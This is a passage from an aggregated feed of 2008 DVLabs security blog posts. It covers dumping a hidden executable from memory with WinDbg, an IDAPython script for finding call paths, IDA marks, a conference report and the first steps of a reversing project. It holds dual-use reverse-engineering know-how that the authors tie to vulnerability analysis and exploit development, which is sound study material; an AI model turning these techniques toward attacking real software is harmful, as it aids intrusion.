01000000  00905a4d 00000003 00000004 0000ffff  MZ..............

41410000  00905a4d 00000003 00000004 0000ffff  MZ..............

5ad70000  00905a4d 00000003 00000004 0000ffff  MZ..............

74720000  00905a4d 00000003 00000004 0000ffff  MZ..............

755c0000  00905a4d 00000003 00000004 0000ffff  MZ..............

76390000  00905a4d 00000003 00000004 0000ffff  MZ..............

77120000  00905a4d 00000003 00000004 0000ffff  MZ..............

773d0000  00905a4d 00000003 00000004 0000ffff  MZ..............

774e0000  00905a4d 00000003 00000004 0000ffff  MZ..............

77b40000  00905a4d 00000003 00000004 0000ffff  MZ..............

77c10000  00905a4d 00000003 00000004 0000ffff  MZ..............

77dd0000  00905a4d 00000003 00000004 0000ffff  MZ..............

77e70000  00905a4d 00000003 00000004 0000ffff  MZ..............

77f10000  00905a4d 00000003 00000004 0000ffff  MZ..............

77f60000  00905a4d 00000003 00000004 0000ffff  MZ..............

77fe0000  00905a4d 00000003 00000004 0000ffff  MZ..............

7c800000  00905a4d 00000003 00000004 0000ffff  MZ..............

7c900000  00905a4d 00000003 00000004 0000ffff  MZ..............

7c9c0000  00905a4d 00000003 00000004 0000ffff  MZ..............

7e410000  00905a4d 00000003 00000004 0000ffff  MZ..............

Oh no, who's that guy at 0x41410000?

0:001> .foreach ( header {s -[1]d 0x0 L?0xffffffff 0x00905a4d} ) {!lmi header;.echo "****HEADER****"}

Loaded Module Info: [0x01000000]

         Module: calc

   Base Address: 01000000

     Image Name: C:windowssystem32calc.exe

   Machine Type: 332 (I386)

     Time Stamp: 3b7d8410 Fri Aug 17 15:52:32 2001

           Size: 1f000

       CheckSum: 1d7fc

Characteristics: 10f

Debug Data Dirs: Type  Size     VA  Pointer

             CODEVIEW    19,  160c,     a0c NB10 - Sig: 3b7d8410, Age: 1, Pdb: calc.pdb

     Image Type: FILE     - Image read successfully from debugger.

                 C:workBlogsre11_06_2008calc_virus.exe

    Symbol Type: PDB      - Symbols loaded successfully from symbol server.

                 c:windowsSymbolscalc.pdb3B7D84101calc.pdb

    Load Report: public symbols , not source indexed

                 c:windowsSymbolscalc.pdb3B7D84101calc.pdb

****HEADER****

Loaded Module Info: [0x41410000]

41410000 is not a valid address

...

Here, WinDbg does not have any information on this executable. Again it didn't load it so it is impossible to know. We are again going to do things manually so that we can see the size of this binary for output.

The PE file format has a member in the IMAGE_OPTIONAL_HEADER structure named dwSizeOfImage. This value gives us the size of the image *loaded into memory*. This dword value is at offset 0x140 from the beginning of the PE file which can easily be inspect using WinDbg.

0:001> dc 41410000+140 L1

41410140  0001f000

And some gratiuitous WinDbg action.

0:001> .formats 0001f000

Evaluate expression:

  Hex:     0001f000

  Decimal: 126976

  Octal:   00000370000

  Binary:  00000000 00000001 11110000 00000000

  Chars:   ....

  Time:    Fri Jan 02 05:16:16 1970

  Float:   low 1.77931e-040 high 0

  Double:  6.27345e-319

So we need to write out 126976 bytes from the location we found in our search. Lets do that. First I will set up the example to include the whole binary.

0:001> .dvalloc /b 41410000 1f000

Allocated 1f000 bytes starting at 41410000

0:001> .readmem "C:\windows\system32\calc.exe" 41410000 41410000+1f000

Reading 1f001 bytes........................................................

Unable to read data for 4142c000, load is incomplete

Whoops! Something happened. It's because the size on disk is different than the SizeOfImage, which is the size of the image loaded into memory rounded up to the next page. Minor inconvenience though, WinDbg still loads everything it can.

0:001> dc 4142b000

4142b000  006d0069 006c0061 00460009 00000036  i.m.a.l...F.6...

4142b010  01340000 004f0026 00740063 006c0061  ..4.&.O.c.t.a.l.

4142b020  00460009 00000037 01350000 00420026  ..F.7.....5.&.B.

4142b030  006e0069 00720061 00090079 00380046  i.n.a.r.y...F.8.

4142b040  00000000 00000000 013a0000 00260044  ..........:.D.&.

4142b050  00670065 00650072 00730065 00460009  e.g.r.e.e.s...F.

4142b060  00000032 013b0000 00520026 00640061  2.....;.&.R.a.d.

4142b070  00610069 0073006e 00460009 00000033  i.a.n.s...F.3...

So here we have a full image loaded, let's just write this new unidentified executable to disk.

:001> .writemem "C:\windows\system32\calc_dump.exe" 41410000 4142f000

Writing 1f001 bytes..............................................................

Unable to read memory at 4142f000, file is incomplete

Again minor inconvenience. The image will be dumped to disk as it would have been written, or executed, by the malicious piece of code. Try and disassemble the dumped image, you will see everything looks perfect.

There you have it, a handy trick to find executables that may be hidden in an executable. I hope you can use this at some point to dump out unpacked, or executable images you may encounter.

-Cody

October 31, 2008
19:43
Line Noise
» ‎ DVLabs: Blogs

Posted by Cameron Hotchkies
It's now October, and time for another Line Noise. I have to warn you, this one is full of thrills and chills and massive linkage. Without further ado, here we go!

First up, DataRescue has an great analysis of MSMSGS.EXE. One of the more interesting parts is the usage of BITS in the malware.

On the new bugs front, a flaw was found in .NET type safety, allowing the ability to run native code from and break out of the JIT VM.

In the dark corners of the internets, there are shady sites with shady forums. But when one of these shady places is in fact run by the US government, it's called a sting operation. The question here is that when it runs for two years, is it not really providing more of a breeding ground for this type of behaviour? Remember, internet years are like double dog years.. Twenty Eight.

Sarah Palin's email address got hacked, much like other celbrity emails. The thing that makes this interesting, is that there are real repercussions and not just for the sneaky hackers that guess the names of dogs and high schools! It turns out that "sensitive" state emails that were being withheld due to executive privilege may be forced to be turned over since she had CC'd her husband who is not an elected official. Maybe it should be a crime to conduct government business via email accounts that aren't run by the government. Oh, wait.. it is?

If your iTunes playlist needs some updating, a new option is to purchase some Cisco hardware. (Am I even allowed to say that?) Apparently they're now shipping music along with the other standard software discs.

If you saw Pedram's earlier post about cellular interference, a nice addendum to that is this page about intercepting the signals generated by the keyboards themselves.

Finally, in another aspect of personal data being leaked, it turns out that a flaw in Mozilla Firefox can lead to far worse consequences than some eastern european mobster using your computer send out spam.

That's all for now, stay classy blogosphere!
October 23, 2008
21:39
MindshaRE: Path Finding
» ‎ DVLabs: Blogs
Posted by Cody Pierce
How many times have you been at an address in IDA and wanted to know all the ways you could reach that point? A million? Probably not. But its pretty useful to be able to find all the paths leading to a particular location in a binary. That's why today we are going to cover path finding.

MindshaRE is our weekly look at some simple reverse engineering tips and tricks. The goal is to keep things small and discuss every day aspects of reversing. You can view previous entries here by going through our blog history.

Path finding is a term we use at TippingPoint to describe a way to get from point A to point B in a binary. Aaron and Cameron discussed this subject a little at ToorCon Seattle 2008. Their slides can be found here. Let's break the process of path finding down into its components and provide some automation for your use.

When trying to find a path you must first get all cross references from point B. If point A occurs in one of those cross references we can pull out that list of cross references for further inspection. Most of the time this works, however keep in mind that indirect calls will not be discovered using merely cross references. For that I believe a combination of static and live analysis may be needed.

Once we locate point A in the cross references of point B we must walk down each basic block looking for the path to point B that showed up in the cross references. To achieve this we will use IDAPython to check one instruction at a time for a branch to the next function in the path we made note of while walking the cross references.

Lets take a look at the following example. We have located a function in calc.exe that we want a path to.
```
.text:01011F1D _mulnumx        proc near
```
Now we want to see how to get to _mulnumx from a function higher up.
```
.text:0101239E numpowlongx     proc near
```
So we want to know how to get from numpowlongx to _mulnumx. Lets look at numpowlongx:
```
.text:0101239E numpowlongx     proc near
```
```
.text:0101239E
```
```
.text:0101239E var_4 = dword ptr -4
```
```
.text:0101239E arg_0 = dword ptr  8
```
```
.text:0101239E arg_4 = dword ptr  0Ch
```
```
.text:0101239E       
```
```
.text:0101239E       push    ebp
```
```
.text:0101239F       mov     ebp, esp
```
```
.text:010123A1       push    ecx
```
```
...
```
```
.text:010123BB loc_10123BB:
```
```
.text:010123BB       test    bl, 1
```
```
.text:010123BE       jz      short loc_10123CB
```
```
.text:010123C0       push    dword ptr [esi]
```
```
.text:010123C2       lea     eax, [ebp+var_4]
```
```
.text:010123C5       push    eax
```
```
.text:010123C6       call    mulnumx
```
```
...
```
A little common sense tells us that following mulnumx well most likely get us to _mulnumx:
```
.text:01012314 mulnumx         proc near
```
```
.text:01012314
```
```
.text:01012314 arg_0 = dword ptr  8
```
```
.text:01012314 arg_4 = dword ptr  0Ch
```
```
.text:01012314
```
```
.text:01012314       push    ebp
```
```
.text:01012315       mov     ebp, esp
```
```
...
```
```
.text:01012390 loc_1012390:
```
```
.text:01012390       push    esi
```
```
.text:01012391       push    ebx
```
```
.text:01012392       call    _mulnumx
```
```
...
```
This particular example is easy, but lets write a script to do these steps for us. It will allow us to find a path quickly. If you remember a while back we used a script called get_recursive_xrefs.py to find all xrefs to point B. Lets add a function to the Node class in that script to search for a particular function in the cross references.
```
def path(self, name, path=None):
```
```
    if path == None:
```
```
        path = []
```
```
    
```
```
    path.append(self.name)
```
```
        
```
```
    if name == self.name:
```
```
        return True
```
```
    for c in self.children:
```
```
        if c.path(name, path):
```
```
            return path
```
```
        else:
```
```
            path.pop()
```
```
    
```
```
    return False
```
Now we just need some points to find.
```
pointa = 0x0101239E
```
```
pointb = 0x01011F1D
```
```
pointa_name = GetFunctionName(pointa)
```
```
pointb_name = GetFunctionName(pointb)
```
```
print "[*] Looking for the path from %s to %s" % (pointa_name, pointb_name)
```
```
t = get_xref_args(pointb)
```
```
path = t.path(pointa_name)
```
```
print path
```
The output gives us something like so:
```
[*] Looking for the path from numpowlongx to _mulnumx
```
```
['_mulnumx', 'mulnumx', 'numpowlongx']
```
So the call chain is numpowlongx -> mulnumx -> _mulnumx. Alone, this can be very helpful if you want to find your way in smaller functions, or just want some hints. The point of path finding however is to find the specific locations the code executes to get from point A to point B. If we fix up this script a little bit we can get closer. Now we want to walk each function in this list, and look for calls to the subsequent function in the path.
```
def find_branch(source, dest):
```
```
    source_ea = get_function_by_name(source)
```
```
    if not source_ea:
```
```
        return False
```
```
        
```
```
    source_start, source_end = get_function_limits(source_ea)
```
```
    curea = source_start
```
```
    for curea in Heads(source_start, source_end):
```
```
        mnem = GetMnem(curea)
```
```
        if 'call' in mnem:
```
```
            location = GetOpnd(curea, 0)
```
```
            if location == dest:
```
```
                print "%s:%x" % (source, curea)
```
```
    return True
```
Putting this together with our previous changes delivers the following results.
```
[*] Looking for the path from numpowlongx to _mulnumx
```
```
['_mulnumx', 'mulnumx', 'numpowlongx']
```
```
[*] Need to find the branch from numpowlongx to mulnumx
```
```
numpowlongx:10123c6
```
```
numpowlongx:10123ce
```
```
[*] Need to find the branch from mulnumx to _mulnumx
```
```
mulnumx:1012392
```
The output is telling us that at address 0x10123c6 in function numpowlongx a call to mulnumx is made. We can corroborate all of these addresses easily.

numpowlongx:
```
.text:010123C6       call    mulnumx
```
```
.text:010123CE       call    mulnumx
```
mulnumx:
```
.text:01012392       call    _mulnumx
```
That helps us a little bit more. We can now get the specific address of each paths call to the next link in the chain. The last big step is making this information even more usable. If we colored all paths to these calls in the current function, we can easily see how the binary gets from point A to B during execution. Any loops, or conditional branches will be easily identified once we color everything. This is the most important step in my opinion. When you want to find a path you want to see every instruction and basic block that can get there. For instance if we want to go from a recv call to a possible vulnerability we want to determine which conditions must be met to get there.

After some more changes to our script we can see the path colored in the mulnumx function outlining how to get to _mulnumx.

That is a lot more useful in my opinion. At a glance we know what must be done, and every possible way, to get to _mulnumx.

Path finding is an invaluable tactic, especially for tasks such as vulnerability analysis, or exploit development. It takes a lot of the manual work out of tracking down a function by reversing line by line from point A without knowing where point B is. We can take this even futher but color coding conditional branches and their condition check. Imagine being able to quickly tell that the first 4 bytes of a packet must be 0x10203040 to get to a vulnerable function.

The script used in this example can be found here get_path.py but I must warn you. I have not fully tested it, and there could be bugs. I wrote it as an example for this entry. For a better script take a look at Aaron's code which allows you to find paths, and much more. His code will be released some time in the future as he's currently working on cleaning it up.

If you have some additional ideas for path finding please leave a comment.

-Cody
October 16, 2008
21:04
MindshaRE: Using Marks
» ‎ DVLabs: Blogs
Posted by Cody Pierce
Navigating in IDA Pro is generally an easy thing. Following functions, listing cross references, and going back to your previous location are all one key away. The problem is sometimes you can get a little lost and you end up forget where you left off. That's why marks were invented. Today we briefly discuss using marks when reverse engineering. This is a very simple concept but one you hopefully adopt and integrate into your process.

MindshaRE is our weekly look at some simple reverse engineering tips and tricks. The goal is to keep things small and discuss every day aspects of reversing. You can view previous entries here by going through our blog history.

Marks let the user add a "bookmark" at a specific address. They give us the ability to mark, and name, locations of interest. For instance, if you are at an address you need to remember, or it serves a purpose you want to return to later we can hit the key combination Alt-M. A window should pop up asking for a description. This is where you can name your mark with something meaningful to you. Here is an example.

By adding this mark we are making points of interest we can possibly return to later in time. This also can be very useful when doing things like following function calls, or global variable use. If you happen to be ten functions deep and quickly want to go back to your original position you can set a mark before you start following those functions. An often description you will see in my IDBs is "here" or "I'm here".

Now that you've added your mark you can recall it at any time by hitting Ctrl-M. This pops up our list of marks. It should look something like this.

This list box allows you to see all your marks and go back to those positions. I do not know if there is a limit on the number of marks you can set, I have never reached it. Keep in mind however, that using the IDC functions pertaining to marks can only index the first 32 slots (you can definitely manually create and reference more than 32 marks).

It is easy to manage existing marks as well. If you set a mark at an address, and you want to change its name in the listing, simply go to that mark and redo the description by hitting Alt-M and entering the new name. Marks can also be deleted by either hitting the Del key, or right clicking the mark and choosing "Delete" from the context menu. That same context menu provides an option for copying marks. This will copy *all of your marks*, resulting in a list like below.
```
01020E4D Read from our packet         
```
```
01020E46 Another interesting location 
```
```
01020E40 I'm here                     
```
Marks are extremely useful in staying organized and focused. I use them every day and it can be a life saver when you happen to wander off the beaten path. I hope you get familiar with their use, and adopt them as a necessity in your reverse engineering process.

-Cody
October 09, 2008
21:43
BA-Con and Ekoparty 2008
» ‎ DVLabs: Blogs

Posted by Aaron Portnoy
Having sufficiently recovered from my week-long trip to Buenos Aires its time to spread the word about some of the innovative research presented at Argentina's two most prominent security conferences. My coworker Ali and I first attended BA-Con, the newest conference venture from Dragos Ruiu (of CanSecWest, PacSec, and EUSecWest fame). Some of the highlights included an entertaining (and at the same time depressing) talk from Harri Hursti regarding the current and past state of eVoting procedures and architecture. Harri described such design flaws as global master keys, poor encryption, default passwords, methods by which one can simply obtain administrative access to some of the machines, and even what he referred to as--if memory serves--101 class bugs in the software.

We also attended an informative talk by Hendrik Scholz entitled "All the Crap Aircrafts Receive and Send". Hendrik's presentation discussed the structure of the plaintext protocol airplanes use to communicate to ground crew and airports. From the audience Cedric Blanchard voiced a hilarious example of how this could be abused by spoofing a request for 20 new seats for the incoming airplane. The results being a ground crew with the necessary equipment awaiting the plane's arrival on the tarmac.

Following this talk was Jose Orlicki with his presentation about social networks. Jose implemented a library that enables one to scrape social networking sites and search engines to profile individuals and map out their relationships with others. You may remember Maltego which does similar data gathering. Jose showcased his implementation by demonstrating a chat bot that impersonated one of his target individuals by utilizing vocabulary similar to their own using his gathered data. His entertaining case example was an Ivan Arce bot chatting with characters from the Matrix movie.

I wasn't able to attend Julien Vanegue's talk, "Hacking PXE without reboot (using the BIOS network stack for other purposes)", as I was preparing for our talk that immediately followed it. I was told the slides will be available on the BA-Con website some time soon.

Following BA-Con was ekoparty which is now in its 2nd (public) year. Ekoparty talks were hosted on a theater stage and were packed with somewhere around 300 attendees. The conference also ran a wargame called Packetwars and a lockpicking competition which was won by Hugo Fortier, one of the organizers of Recon.

We originally had trouble locating the conference so we missed out on some of the talks we would have liked to have seen. One such talk was Julien Vanegue's presentation on Evarista, a piece of software based on the ERESI framework. The ERESI framework implements an intermediate representation that enables one to more easily perform runtime and static analysis. Julien's Evarista is focused on static analysis and is the same research as documented in Phrack issue 64, article 8.

We did catch some good presentations on day two, including a talk from Nelson Murilo and Luiz Eduardo on a new wifi monitoring tool dubbed Beholder. Following their talk was Hugo Scolnik a mathematics professor who talked about a possible new method of factoring numbers in an attempt to attack RSA encryption. His talk was in Spanish but math is universal and so his slides conveyed some aspects of his approach. However I'll wait until someone translates his work before attempting to comment on it's validity.

Following the conference lightning talks were given at a local pub. Most were in Spanish and I am far from fluent. However, Andrew Cushman from Microsoft's Research Center did give a quick rundown of some of the new Microsoft initiatives first announced at Blackhat this year.

Both events had a great turnout and interesting presentations. The security community in Argentina is definitely thriving with such companies as Core and Cybsec headquartered there. Hopefully these conferences will continue to put the spotlight on the region and we personally look forward to attending both conferences next year.
20:59
MindshaRE: First Things First
» ‎ DVLabs: Blogs
Posted by Cody Pierce
This week on MindshaRE we want to share some of the things we do when beginning a reversing project. Some of these are obvious, and some may be new. It all serves the purposes of creating a solid foundation for the hard work to follow.

MindshaRE is our weekly look at some simple reverse engineering tips and tricks. The goal is to keep things small and discuss every day aspects of reversing. You can view previous entries here by going through our blog history.

It is important to know as much about your target as humanly possible before you start reverse engineering anything. By doing this we have a better understanding of how things "probably" work. Getting insight through available documentation on the net or included with the product is our first stop.

We often scour the vendors site, focusing on any technical documents available. This can give us solid ideas about what we are attempting to reverse. Especially when doing vulnerability analysis it is imperative to dig into the setup and use of a product. Also keeping in mind support forums and general problems people may have. If bugs exist in normal day to day operation, exploitable security bugs may not be too far behind.

We must also first understand how all the components work together before we can break down a single binary. This again can be gleaned from installation or operation documentation. More often than not a vendor will have an "Administration Guide" or "Installation Guide" that will help us get a feeling for the larger picture.

Once we have established a good understanding of how the binary works in its respective environment we open the binary in IDA and take a deep breath. After letting IDA do its auto-analysis we begin to navigate the binary. During this time we are not trying to read any of the assembly, but instead make sure IDA did its job well by looking for unidentified functions, ambiguous blocks of unidentified data, and various other common analysis mistakes.

Spending some time making sure IDA has done its job again gives us a solid foundation to work from. If we are trying to actually reverse a binary, and have to stop every ten seconds to fix a function, or cross reference, it tends to slow us down more than investing the time in an initial fix-up stage.

Once we feel comfortable with the disassembly we check out each section, looking to see how much code exists, how much data exists, what the read only section looks like, and most importantly the import section.

The import section is often the first time we really pay attention to the information in the binary, and not just the disassembly. By looking at the library calls that occur in the binary you can get a great idea of what the binary does. For instance seeing the library call InternetOpenUrl tells us in an instant that at some point this binary will access an outside resource (most likely an HTTP URL). Some of the interesting family of imports we tend to look out for are sockets, files, windowing, debugging, and often misused string libraries.

After we get a feel for the libraries being used we'll typically jump over to IDA's strings window. Like the imported libraries, the strings being referenced can tell a story about the binaries inner workings. It's prudent to always keep an eye out for descriptive strings like debugging messages or verbose logging options. Finding strings like this, as we have discussed in previous MindshaRE articles, can be a boon for a reverse engineer. The idea is to constantly be getting a feel for the binary as a whole, and how it works on a level just above the actual assembly code.

Next, we typically quickly move through the data section looking for vtables or other important data structures that may catch our eye. For instance, if we see a vtable with a large number of code cross references we can make a mental note for when we encounter these while reversing their use. We also spend some time fixing up the data types. IDA tries to correctly identify type information in the data section, but it always errs on the side of caution. We will create dwords where seen fit, and define any other obvious structures, always making mental notes.

Now that we have gained a little understanding from a higher level we will dig into the actual assembly. It is of the utmost importance that we set a goal, or a set of questions we want to answer, before really diving into the assembly. Our goal must be well defined and outlined. Sticking to this goal will always keep us moving forward and not get distracted. Here are some of the common goals our team is specifically interested in when performing binary audits:
- How does this process receive network data?
- How does this process parse network data?
- How does this process interact with the user?
- Does this process use a database?
- Does this process use RPC or any other remoting method?
- Does this process contain encryption routines?
Some of these goals can be easily answered. The point is to make sure you know why we are reverse engineering this particular piece of code. It will help us locate the interesting functions, and drive us towards that answer.

With that said, one of the first things we do is look at the most cross referenced functions. By doing so, our efforts will always help future endeavors. Let's say we have a function that is called 4000 times throughout the binary. If we identify that it is a memory allocation routine, we have just made those other 4000 functions that much easier to understand. These common functions are the building blocks for more complex code we may encounter later.

So we are finally at our "starting" point. This is where a generic approach can no longer be described. Each goal, or question we try and answer will need special attention and may rely on varying techniques. For things like auditing network protocols we like to start at the reception of a packet. For RPC functions we begin by identifying the registration of client and server interfaces. It really depends on what we are trying to achieve, but the idea is to use the information we spent time in the beginning gathering. Hopefully by now you have a good understanding of the playing field.

If you notice we tend to work from the top down. High level documentation all the way down to the actually assembly code being executed by the processor. In our experience this is the best way for the human mind to actually understand what we are looking at. It also has proved the easiest, and most rewarding for us. As reverse engineers we take all the information we can get. This lessens our need to extract each and every clue from the assembly level, which is often very time consuming.

To summarize it all, learn everything you can about the process before you start. Make sure you have a solid base to work from. And finally, outline a goal so that you can stay focused and make progress.

Leave a comment with some additional ideas. We would love to add to our repertoire.

-Cody
October 04, 2008
0:12
ThreatL

SecurityFeed.info » DVLabs: Blogs

Feeds

DVLabs: Blogs (10 unread)